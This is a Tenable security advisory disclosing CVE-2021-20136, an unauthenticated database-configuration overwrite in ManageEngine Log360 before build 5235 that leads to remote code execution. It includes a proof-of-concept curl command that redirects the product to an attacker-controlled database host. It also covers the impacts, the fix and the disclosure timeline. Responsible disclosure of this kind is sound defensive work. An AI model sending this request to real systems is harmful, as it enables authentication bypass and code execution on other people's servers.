

ManageEngine Log360 Database Configuration Overwrite Unauthenticated RCE

Critical

[← View More Research Advisories](#)

Synopsis

ManageEngine Log360 Builds < 5235 are affected by an improper access control vulnerability allowing database configuration overwrite. An unauthenticated remote attacker can send a specially crafted message to Log360 to change its backend database to an attacker-controlled database and to force Log360 to restart. An attacker can leverage this vulnerability to achieve remote code execution by replacing files executed by Log360 on startup.

Proof of Concept:

The following command attempts to change the Log360 database configurations in `<LOG360_DIR>\conf\database_params.conf` to point to an attacker-controlled database and restart Log360.

```
curl -ki -d 'operation=changedb&params={"MIGRATE":false,"RESTART":true, "UNAME":"attacker", "DOMAIN":"MyDomain", "PASSWORD":"<password>", "SERVER_NAME":"<attacker-db-host>", "SERVER_PORT":33395,"SERVER":"postgres", "DB":"log360", "INSTANCE_NAME":"MyInstance"}' http://<log360-host>:8095/RestAPI/ChangeDBAPI
```

The security ramifications include but are not limited to:

- Denial of service (legitimate users may no longer be able to login to Log360)
- Authentication bypass because the login credentials for the 'Log360 Authentication' domain are now stored in the attacker-controlled database. The attacker can login to Log360 because s/he knows the credentials.
- REST API restriction bypass. The `adsproductapis` table in the Log360 database defines a list of REST APIs allowed to be called. The attacker can add more REST APIs to the table, giving the attacker more attack vectors as the added APIs may contain vulnerabilities in them.

Solution

ManageEngine has released a fix in Log360 version 5235.

Additional References

<https://www.manageengine.com/log-management/readme.html>

Disclosure Timeline

October 13, 2021 - Issues reported to ManageEngine
October 13, 2021 - Issues confirmed by ManageEngine
October 15, 2021 - Issues fixed by ManageEngine, Tenable not notified
October 26, 2021 - Tenable requests an update
October 26, 2021 - ManageEngine informs Tenable issue has been fixed
October 26, 2021 - Tenable asks ManageEngine to confirm which version fixes the issue
October 28, 2021 - ManageEngine confirms version 5235 fixes issue
October 29, 2021 - Tenable releases advisory

All information within TRA advisories is provided "as is", without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our [Vulnerability Reporting Guidelines](#) page.

If you have questions or corrections about this advisory, please email advisories@tenable.com

Risk Information

CVE ID: CVE-2021-20136

Tenable Advisory ID: TRA-2021-48

CVSSv3 Base / Temporal Score: 9.8

CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Products: ManageEngine Log360 < 5235

Risk Factor: Critical

Advisory Timeline

October 29, 2021 - Advisory Released

FEATURED PRODUCTS

Tenable One Exposure Management Platform

[Tenable.asm External Attack Surface](#)

[Tenable.ad Active Directory](#)

[Tenable.ot Operational Technology](#)

[Tenable.sc Security Center](#)

[Tenable Lumin](#)

[Nessus](#)

[→ View all Products](#)

FEATURED SOLUTIONS

[Application Security](#)

[Building Management Systems](#)

[Cloud Security Posture Management](#)

[Compliance](#)

[Exposure Management](#)

[Finance](#)

[Healthcare](#)

[IT/OT](#)

[Ransomware](#)

[State / Local / Education](#)

[US Federal](#)

[Vulnerability Management](#)

[Zero Trust](#)

[→ View all Solutions](#)

CUSTOMER RESOURCES

[Resource Library](#)

[Community & Support](#)

[Customer Education](#)

[Tenable Research](#)

[Documentation](#)

[Trust and Assurance](#)

[Nessus Resource Center](#)

[Cyber Exposure Fundamentals](#)

[System Status](#)

CONNECTIONS

[Blog](#)

[Contact Us](#)

[Careers](#)

[Investors](#)

[Events](#)

[Media](#)